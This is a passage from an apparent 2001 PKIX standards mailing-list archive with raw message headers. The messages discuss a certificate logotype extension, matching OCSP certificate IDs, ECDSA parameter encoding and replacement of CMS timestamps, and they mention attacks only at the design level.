I hope to be able to meet with many of you and discuss this in
Minneapolis next week.<br>
<br>
/Stefan Santesson<br>
<br>
<font face="Courier New, Courier">&nbsp;&nbsp; <br>
logotypeInfo&nbsp; EXTENSION ::= {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
LogotypeSyntax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IDENTIFIED
BY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; id-pe-logotypeInfo }<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; id-pe-logotypeInfo OBJECT IDENTIFIER&nbsp;
::= {id-pe XX}<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LogotypeSyntax ::= SEQUENCE OF
LogotypeData<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LogotypeData ::= SEQUENCE {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
typeOfLogotype&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TypeOflogotype,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
hashAlgorithm&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
AlgorithmIdentifier,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
logotypeDataHash&nbsp;&nbsp;&nbsp;&nbsp; OCTET STRING,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sourceDataUri&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IA5String
OPTIONAL }<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TypeOflogotype ::= CHOICE {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
predefinedLogotypeType&nbsp;&nbsp;&nbsp; PredefinedLogotypeType,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
LogotypeTypeID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
OBJECT IDENTIFIER }<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PredefinedLogotypeType ::= INTEGER { 
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
subject-organization-logotype(0),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
issuer-organization-logotype(1)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
CA-network-logotype(2)} <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(subject-organization-logotype|<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
issuer-organization-logotype</font><font face="Courier New, Courier" size=2>|<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</font><font face="Courier New, Courier">CA-network-logotype,...)<br>
<br>
<br>
The predefined logotype types are<br>
<br>
subject-organization-logotype, if used, SHALL be used to include a
logotype of the subject organization. The logotype SHALL be consistent
with, and require the presence of, an organization name stored in the
organization attribute in the subject field.<br>
<br>
issuer-organization-logotype, if used, SHALL be used to include a
logotype of the issuer organization. The logotype SHALL be consistent
with, and require the presence of, an organization name stored in the
organization attribute in the issuer field.<br>
<br>
CA-network-logotype, if used, SHALL be used to include a logotype used by
a network of CA services, provided by one or several independent CA’s,
within which the issuer claims to issue this certificate.<br>
<br>
</font></html>

--=====================_12792724==_.ALT--



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA13371 for <[e-mail]>; Thu, 15 Mar 2001 14:38:52 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Thu, 15 Mar 2001 14:38:54 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Thu, 15 Mar 2001 14:38:54 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <G7DHVMX8>; Thu, 15 Mar 2001 14:32:31 -0800
Content-return: allowed
Date: Thu, 15 Mar 2001 14:32:29 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Matching CertIDs between OCSP requests and responses
To: "'[e-mail]'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Peter, we do use multiple certs in a query for multiple reasons:

a. To query the status of a whole chain at a time

b. To query the status of all certs in something like an address
book, to figure out which certs that I have in my address book
are still good.

Regards,
Ambarish


---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Thursday, March 15, 2001 9:21 PM
> To: [e-mail]
> Subject: RE: Matching CertIDs between OCSP requests and responses
> 
> 
> [e-mail]
> 
> >The idea of non-global errors is interesting, I hadn't 
> thought about that. It
> >might be useful where multiple certificates are present in 
> the request. 
> 
> Is anyone (apart from Identrus, who do it for 
> political/economic rather than
> technical reasons) doing this to any extent?  There is 
> anecdotal evidence which
> suggests that implementors are using only one cert per query, 
> having multiple
> certs per query is hideous in terms of handling responses 
> (let's see now, this
> one is OK, this one isn't, we don't know about this one... 
> no, the third one,
> not the second one... no that one's OK, you want the one next 
> to it... etc
> etc).  Although my code supports the ability to query 
> multiple certs at once, I
> haven't enabled it because handling mixed responses is just 
> too messy, it's
> much, *much* easier to work with if you do it on the basis of 
> "Is this cert
> revoked or not?" rather than "Tell me whatever you can about 
> this bundle of
> stuff, and I'll try and figure out what's what from your response".
> 
> Peter.
> 


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA24058 for <[e-mail]>; Thu, 15 Mar 2001 09:30:55 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id MAA24442; Thu, 15 Mar 2001 12:30:53 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 15 Mar 2001 12:29:47 -0500
To: Bodo Moeller <[e-mail]>, [e-mail]
From: Tim Polk <[e-mail]>
Subject: Re: draft-ietf-pkix-ipki-pkalgs-02.txt: ECDSA
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id JAA24059

Bodo,

The parameter specifications in these sections are not actually related, as 
we are performing different functions

In section 2.2.3, we are specifying an ECDSA *signature*.  As with DSA, the 
public key and parameters used to verify the signature may be obtained in 
three different ways:
(1) the parameters and public key may be in the subjectPublicKeyInfo in the 
end certificate in a certification path;
(2) the public key may be in the end certificate and the parameters may be 
obtained through parameter inheritance (from an intermediate certificate in 
the certification path); or
(3) through an out-of-band mechanism.

In this case, the ecdsa-with-SHA1 OID algorithm identifier is used in the 
algorithm identifier field.  Since the parameters MUST be obtained 
separately from the signature, the parameters field associated with the 
signature cannot contain useful information.  As a result, the parameters 
field is required to be NULL.

In section 2.3.5, we are specifying an ECDSA *public key* in the 
subjectPublicKeyInfo field.  (Note that we use a different OID, 
id-ecPublicKey.)  In this case, the parameters field may contain the EC 
paramters or indicate that parameters are to be obtained through parameter 
inheritance.  There are two mechanisms to specify parameters for EC: (1) 
directly by specifying the value of each parameter or (2) indirectly by 
specifying a named curve through an object identifier.  The second option 
may be encoded in a smaller number of bytes.  These mechanisms correspond 
to ecParameters and namedCurve, respectively, in the list of choices for 
parameters.   The third choice, implicitlyCA, is used to indicate that 
parameters are to be obtained through parameter inheritance.

Hope that helps.

Tim Polk

At 10:38 AM 3/12/01 +0100, Bodo Moeller wrote:
>According to draft-ietf-pkix-ipki-pkalgs-02.txt, section 2.2.3,
>
>    When the ecdsa-with-SHA1 algorithm identifier is used the parameters
>    MUST be NULL.
>
>However section 2.3.5 specifies what the parameters should look like:
>
>    ECDSA and ECDH require use of certain parameters with the public key.
>    The parameters may be inherited from the issuer, implicitly included
>    through reference to a "named curve," or explicitly included in the
>    certificate.
>
>       ecpkParameters ::= CHOICE {
>         ecParameters  ECParameters,
>         namedCurve    OBJECT IDENTIFIER,
>         implicitlyCA  NULL }
>
>Presumably 2.2.3 was meant to say that parameters are not OPTIONAL
>for ecdsa-with-SHA1, and that hence they must be NULL if there
>is no explicit value.
>
>
>--
>Bodo Möller <[e-mail]>
>PGP 
>http://www.informatik.tu-darmstadt.de/TI/Mitarbeiter/moeller/0x36d2c658.html
>* TU Darmstadt, Theoretische Informatik, Alexanderstr. 10, D-64283 Darmstadt
>* Tel. [phone], Fax [phone]



Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA22941 for <[e-mail]>; Thu, 15 Mar 2001 08:58:07 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]>; Thu, 15 Mar 2001 16:56:43 +0000
Subject: RE: Matching CertIDs between OCSP requests and responses
To: [e-mail]
Cc: [e-mail], [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Thu, 15 Mar 2001 16:55:32 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 15/03/2001 04:57:17 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

I think that the ability to specify multiple certificates is useful, in
particular for validating a non-trivial certificate chain.  In this case,
it makes sense to trust the chain only as much as the least trusted
certificate in the chain.

However, the delegated OCSP signing model isn't ideally suited to
certificate chains - you have to use the trusted authority OCSP signing
model instead.  This subject has been discussed on this list previously.

Jonathan
----------------
Dr Jonathan Tuliani
www.symbian.com



                                                                                               
                    [e-mail]                                                            
                    land.ac.nz             To:     [e-mail]                           
                    (Peter Gutmann)        cc:                                                 
                    Sent by:               Subject:     RE: Matching CertIDs between OCSP      
                    [e-mail]        requests and responses                              
                    land.ac.nz                                                                 
                                                                                               
                                                                                               
                    16/03/01 05:20                                                             
                    Please respond                                                             
                    to pgut001                                                                 
                                                                                               
                                                                                               




[e-mail]

>The idea of non-global errors is interesting, I hadn't thought about that.
It
>might be useful where multiple certificates are present in the request.

Is anyone (apart from Identrus, who do it for political/economic rather
than
technical reasons) doing this to any extent?  There is anecdotal evidence
which
suggests that implementors are using only one cert per query, having
multiple
certs per query is hideous in terms of handling responses (let's see now,
this
one is OK, this one isn't, we don't know about this one... no, the third
one,
not the second one... no that one's OK, you want the one next to it... etc
etc).  Although my code supports the ability to query multiple certs at
once, I
haven't enabled it because handling mixed responses is just too messy, it's
much, *much* easier to work with if you do it on the basis of "Is this cert
revoked or not?" rather than "Tell me whatever you can about this bundle of
stuff, and I'll try and figure out what's what from your response".

Peter.






**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************


Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA22469 for <[e-mail]>; Thu, 15 Mar 2001 08:51:01 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]>; Thu, 15 Mar 2001 16:49:37 +0000
Subject: Re: Matching CertIDs between OCSP requests and responses
To: [e-mail]
Cc: [e-mail], [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Thu, 15 Mar 2001 16:48:25 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 15/03/2001 04:50:10 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

What I'm getting at is a slightly different issue with OCSP v2.  This has
several means for the request and response to identify the certificate:

ReqCert  ::= CHOICE {
   certID            CertID,
   issuerSerial      [0] IssuerandSerialNumber,
   pKCert            [1] Certificate,
   name              [2] GeneralName,
   certHash          [3] OCTET STRING}

However, there doesn't seem to be any condition requiring the response to
use the same method as was used in the request.  The request could use an
IssuerAndSerialNumber, and the response could then identify the same
certificate using CertID.  Should the response be forced to use the same
technique as the request?  How does this affect response pre-computation?

Jonathan



                                                                                               
                    [e-mail]                                                            
                    land.ac.nz             To:     [e-mail]                
                    (Peter Gutmann)        cc:     [e-mail]                           
                    Sent by:               Subject:     Re: Matching CertIDs between OCSP      
                    [e-mail]        requests and responses                              
                    land.ac.nz                                                                 
                                                                                               
                                                                                               
                    16/03/01 05:31                                                             
                    Please respond                                                             
                    to pgut001                                                                 
                                                                                               
                                                                                               




[e-mail] writes:

>Section 4.3 of OCSP v1 states that responders SHALL support SHA1 - it
doesn't
>say that they MUST use it.  Suppose I send a request, in which my CertID
has
>used SHA1.  Suppose the responder then replies, but uses MD5 to form the
>CertID term corresponding to the same certificate.  Then the matching of
the
>CertID term between request and response becomes less trivial than a
simple
>binary comparison.

Anecdotal evidence (that chap again) suggests that everyone uses SHA1
exclusively.  Have you tried submitting a request hashed with MD5 to see
how
many servers you can break?

>As mentioned earlier, the complexity of matching certificate identifiers
>between request and response increases in v2, where there are so many
other
>ways to identify a certificate.

Yes, but they're all unique (there's only one way to encode an
issuerAndSerialNumber, certificate, etc), a binary compare should do for
this.

I'll do a bit of experimenting next week, but I'd be very surprised if a
binary
compare failed for any responder.

Peter.






**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA21572 for <[e-mail]>; Thu, 15 Mar 2001 08:31:09 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id FAA05533; Fri, 16 Mar 2001 05:31:04 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98467386412830>; Fri, 16 Mar 2001 05:31:04 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re: Matching CertIDs between OCSP requests and responses
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Fri, 16 Mar 2001 05:31:04 (NZDT)
Message-ID: <[e-mail]>

[e-mail] writes:

>Section 4.3 of OCSP v1 states that responders SHALL support SHA1 - it doesn't
>say that they MUST use it.  Suppose I send a request, in which my CertID has
>used SHA1.  Suppose the responder then replies, but uses MD5 to form the
>CertID term corresponding to the same certificate.  Then the matching of the
>CertID term between request and response becomes less trivial than a simple
>binary comparison.

Anecdotal evidence (that chap again) suggests that everyone uses SHA1
exclusively.  Have you tried submitting a request hashed with MD5 to see how
many servers you can break?

>As mentioned earlier, the complexity of matching certificate identifiers
>between request and response increases in v2, where there are so many other
>ways to identify a certificate.

Yes, but they're all unique (there's only one way to encode an
issuerAndSerialNumber, certificate, etc), a binary compare should do for this.

I'll do a bit of experimenting next week, but I'd be very surprised if a binary
compare failed for any responder.

Peter.



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA20652 for <[e-mail]>; Thu, 15 Mar 2001 08:20:44 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id FAA05372 for <[e-mail]>; Fri, 16 Mar 2001 05:20:44 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98467324412571>; Fri, 16 Mar 2001 05:20:44 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: RE: Matching CertIDs between OCSP requests and responses
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Fri, 16 Mar 2001 05:20:44 (NZDT)
Message-ID: <[e-mail]>

[e-mail]

>The idea of non-global errors is interesting, I hadn't thought about that. It
>might be useful where multiple certificates are present in the request. 

Is anyone (apart from Identrus, who do it for political/economic rather than
technical reasons) doing this to any extent?  There is anecdotal evidence which
suggests that implementors are using only one cert per query, having multiple
certs per query is hideous in terms of handling responses (let's see now, this
one is OK, this one isn't, we don't know about this one... no, the third one,
not the second one... no that one's OK, you want the one next to it... etc
etc).  Although my code supports the ability to query multiple certs at once, I
haven't enabled it because handling mixed responses is just too messy, it's
much, *much* easier to work with if you do it on the basis of "Is this cert
revoked or not?" rather than "Tell me whatever you can about this bundle of
stuff, and I'll try and figure out what's what from your response".

Peter.



Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA20300 for <[e-mail]>; Thu, 15 Mar 2001 08:17:49 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]>; Thu, 15 Mar 2001 16:16:24 +0000
Subject: Re: Matching CertIDs between OCSP requests and responses
To: [e-mail]
Cc: [e-mail], [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Thu, 15 Mar 2001 16:15:13 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 15/03/2001 04:16:58 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

Peter, all,

Yes, clearly clients must match certificate identifiers between request and
response.  However, the problem I was trying to highlight was just how this
matching should be performed.

Section 4.3 of OCSP v1 states that responders SHALL support SHA1 - it
doesn't say that they MUST use it.  Suppose I send a request, in which my
CertID has used SHA1.  Suppose the responder then replies, but uses MD5 to
form the CertID term corresponding to the same certificate.  Then the
matching of the CertID term between request and response becomes less
trivial than a simple binary comparison.

As mentioned earlier, the complexity of matching certificate identifiers
between request and response increases in v2, where there are so many other
ways to identify a certificate.

The question is: can we trust the responder to use the same form of
certificate identifier as the client specified, so that the trivial binary
comparison of certificate identifier in the client is valid?

This problem is particularly acute in the situation where the responses are
pre-computed rather than being formatted on receipt of the request.

Regards,

Jonathan
---------------
Dr Jonathan Tuliani
www.symbian.com



                                                                                               
                    [e-mail]                                                            
                    land.ac.nz             To:     [e-mail]                
                    (Peter Gutmann)        cc:     [e-mail]                           
                    Sent by:               Subject:     Re: Matching CertIDs between OCSP      
                    [e-mail]        requests and responses                              
                    land.ac.nz                                                                 
                                                                                               
                                                                                               
                    16/03/01 05:07                                                             
                    Please respond                                                             
                    to pgut001                                                                 
                                                                                               
                                                                                               




[e-mail] writes:

>Another OCSP (v1) question:  Can a client assume that the OCSP response
CertID
>terms will precisely match those from the request?

I would hope they do, otherwise there's a trivial attack which completely
defeats OCSP:

- You submit a request for a check of cert X (which has been revoked)
- What arrives at the CA is a request for a check of cert Y (which hasn't)
- You get back a response of "OK"

Unless you check the returned ID data there's no way you can detect this.
What
I'm doing is a binary compare of request and response ID data, if they
differ I
don't trust the response.

(There's a second, slightly less trivial attack which you can perform if
nonces
 aren't used, once I can determine experimentally how well-supported these
are
 in practice (the "no critical extensions" requirement in the spec doesn't
help
 much with this) I'll see if I can make them mandatory in my code).

Peter.






**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA19370 for <[e-mail]>; Thu, 15 Mar 2001 08:07:18 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id FAA05231; Fri, 16 Mar 2001 05:07:11 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98467243112417>; Fri, 16 Mar 2001 05:07:11 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re:  Matching CertIDs between OCSP requests and responses
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Fri, 16 Mar 2001 05:07:11 (NZDT)
Message-ID: <[e-mail]>

[e-mail] writes:

>Another OCSP (v1) question:  Can a client assume that the OCSP response CertID
>terms will precisely match those from the request?  

I would hope they do, otherwise there's a trivial attack which completely
defeats OCSP:

- You submit a request for a check of cert X (which has been revoked)
- What arrives at the CA is a request for a check of cert Y (which hasn't)
- You get back a response of "OK"

Unless you check the returned ID data there's no way you can detect this.  What
I'm doing is a binary compare of request and response ID data, if they differ I
don't trust the response.

(There's a second, slightly less trivial attack which you can perform if nonces
 aren't used, once I can determine experimentally how well-supported these are
 in practice (the "no critical extensions" requirement in the spec doesn't help
 much with this) I'll see if I can make them mandatory in my code).

Peter.



Received: from sysiphos.maz-hh.de (sysiphos.maz-hh.de [192.109.56.14]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA05172 for <[e-mail]>; Thu, 15 Mar 2001 05:41:02 -0800 (PST)
Received: from timeproof.de (timegate.maz-hh.de [192.109.56.29]) by sysiphos.maz-hh.de (8.9.3/8.9.3) with ESMTP id OAA26349; Thu, 15 Mar 2001 14:40:57 +0100 (MET)
Message-ID: <[e-mail]>
Date: Thu, 15 Mar 2001 14:43:55 +0100
From: Joerg Seidel <[e-mail]>
Organization: timeproof GmbH
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Prashant Dambe <[e-mail]>
CC: [e-mail]
Subject: Re: Time-stamp issue
References: <003101c0ad31$fd4898d0$966801c4@insight> <[e-mail]> <004c01c0ad46$7bfe1920$966801c4@insight>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Prashant,

Prashant Dambe wrote:
> In the time critical situation this will not work. Suppose Time-stamp is
> taken at some time t1. At time t1 signer cert
> is valid (not revoked / not expired) and after some time t2 original
> time-stamp has been replaced with time inside
> TS as t2. At at time t2 suppose signer cert is not valid (revoked/expired)
> in this case, original evidence which says
> that cert is valid at t1 so you can trust the signature and also data at the
> time t1. But if Timestamp token is replaced
> indicates that revoked certicate can not be used to validate the signature
> which is one of purpose of time-stamp.
> In this case you can not say wheather time-stamp is trusted or replaced. If
> you assume it was valid TS then it
> will leads to wrong results.

No, it does not. Because the correct statement is: "I don't know whether
this signature is valid or not.". This is simply, because someone
removed the proof that it was made before expiration time. Adding a
later timestamp doesn't change this situation.

> Also vice-versa of above situation is also
> possible.
> So at least , if the attack is detected it will not lead to wrong results.

As stated above there are no wrong results.

Joerg
-- 
__________________________________________________________________

Jörg Seidel                             phone  [phone]
Director Technology                     fax    [phone]
timeproof GmbH                          
Harburger Schloßstraße 6-12             mailto:[e-mail]
DE 21079 Hamburg                        http://www.timeproof.de
__________________________________________________________________


Received: from stargate.zergo.com.au (IDENT:[e-mail] [203.2.208.130]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA01797 for <[e-mail]>; Thu, 15 Mar 2001 04:39:56 -0800 (PST)
Received: from sweepau.baltimore.com.au (sweepau.zergo.com.au [10.61.2.6]) by stargate.zergo.com.au (8.9.1/8.8.7) with ESMTP id WAA08012 for <[e-mail]>; Thu, 15 Mar 2001 22:49:22 +1100
Received: from sydneymail1.zergo.com.au (unverified) by sweepau.baltimore.com.au (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Thu, 15 Mar 2001 23:40:37 +1100
Received: by sydneymail1.zergo.com.au with Internet Mail Service (5.5.2650.21) id <G8DHF9CP>; Thu, 15 Mar 2001 23:37:59 +1100
Message-ID: <[e-mail]>
From: Michael Zolotarev <[e-mail]>
To: Prashant Dambe <[e-mail]>, Joerg Seidel <[e-mail]>
Cc: [e-mail]
Subject: RE: Time-stamp issue
Date: Thu, 15 Mar 2001 23:37:58 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id EAA01806

Folks,

As I have noted in my previous email, the substitution of the timestamp
makes no sence for neither the signer, no the verifier, as presumably both
of them are keen to preserve NR qualities of the signature and corresponding
verification process.

It leaves us with the Man-in-the-middle and an attacker modifying the
signature/timestamp when it is kept in some local storage. As for the M-i-M
(a timestamp replaced when the signature was in transit), the attack will be
instantly obvious by comparing the dates. Not to mention that the signature
must be sent much later after it has been originally created, in order for
the attacker to be able to obtain newer timestamp.

For the local storage case, I think it leaves it up to the owner of the
signature with attached timestamp how to protect it from been maliciously
modified.

Michael

> -----Original Message-----
> From: Prashant Dambe [mailto:[e-mail]]
> Sent: Thursday, 15 March 2001 22:53
> To: Joerg Seidel
> Cc: [e-mail]
> Subject: Re: Time-stamp issue
> 
> 
> In the time critical situation this will not work. Suppose 
> Time-stamp is
> taken at some time t1. At time t1 signer cert
> is valid (not revoked / not expired) and after some time t2 original
> time-stamp has been replaced with time inside
> TS as t2. At at time t2 suppose signer cert is not valid 
> (revoked/expired)
> in this case, original evidence which says
> that cert is valid at t1 so you can trust the signature and 
> also data at the
> time t1. But if Timestamp token is replaced
> indicates that revoked certicate can not be used to validate 
> the signature
> which is one of purpose of time-stamp.
> In this case you can not say wheather time-stamp is trusted 
> or replaced. If
> you assume it was valid TS then it
> will leads to wrong results. Also vice-versa of above 
> situation is also
> possible.
> So at least , if the attack is detected it will not lead to 
> wrong results.
> 
> ----- Original Message -----
> From: Joerg Seidel <[e-mail]>
> To: Prashant Dambe <[e-mail]>
> Cc: <[e-mail]>
> Sent: Thursday, March 15, 2001 4:57 PM
> Subject: Re: Time-stamp issue
> 
> 
> Prashant,
> 
> Prashant Dambe wrote:
> > As timestamp token is placed as unsigned attribute, one of the
> > possible attack is that
> > if Time-stamp token it self is replaced with the Time-stamp token of
> > the same signature value
> > inside CMS  i.e If the same signature is time-stamped after 
> some later
> > time and Time-stamp in the
> > original CMS is replaced,it not possibled to detect that orignal
> > time-stamp has been replaced.
> > So putting time-stamp as unsigned attribute not works fine in all
> > cases.
> 
> This is not an attack which leads to false evidence. Even the new
> timestamp states correctly that the signature was made before 
> the given
> time. Just you destroy some evidence, which is something you 
> always can
> do.
> 
> Regards
> Joerg
> --
> __________________________________________________________________
> 
> Jörg Seidel                             phone  [phone]
> Director Technology                     fax    [phone]
> timeproof GmbH
> Harburger Schloßstraße 6-12             mailto:[e-mail]
> DE 21079 Hamburg                        http://www.timeproof.de
> __________________________________________________________________
> 
> 
> 
> This footnote confirms that this email message has been swept by
> MIMEsweeper for the presence of computer viruses.
> 


Received: from certplus.com (facteur.certplus.com [195.101.88.81]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA27049 for <[e-mail]>; Thu, 15 Mar 2001 03:58:57 -0800 (PST)
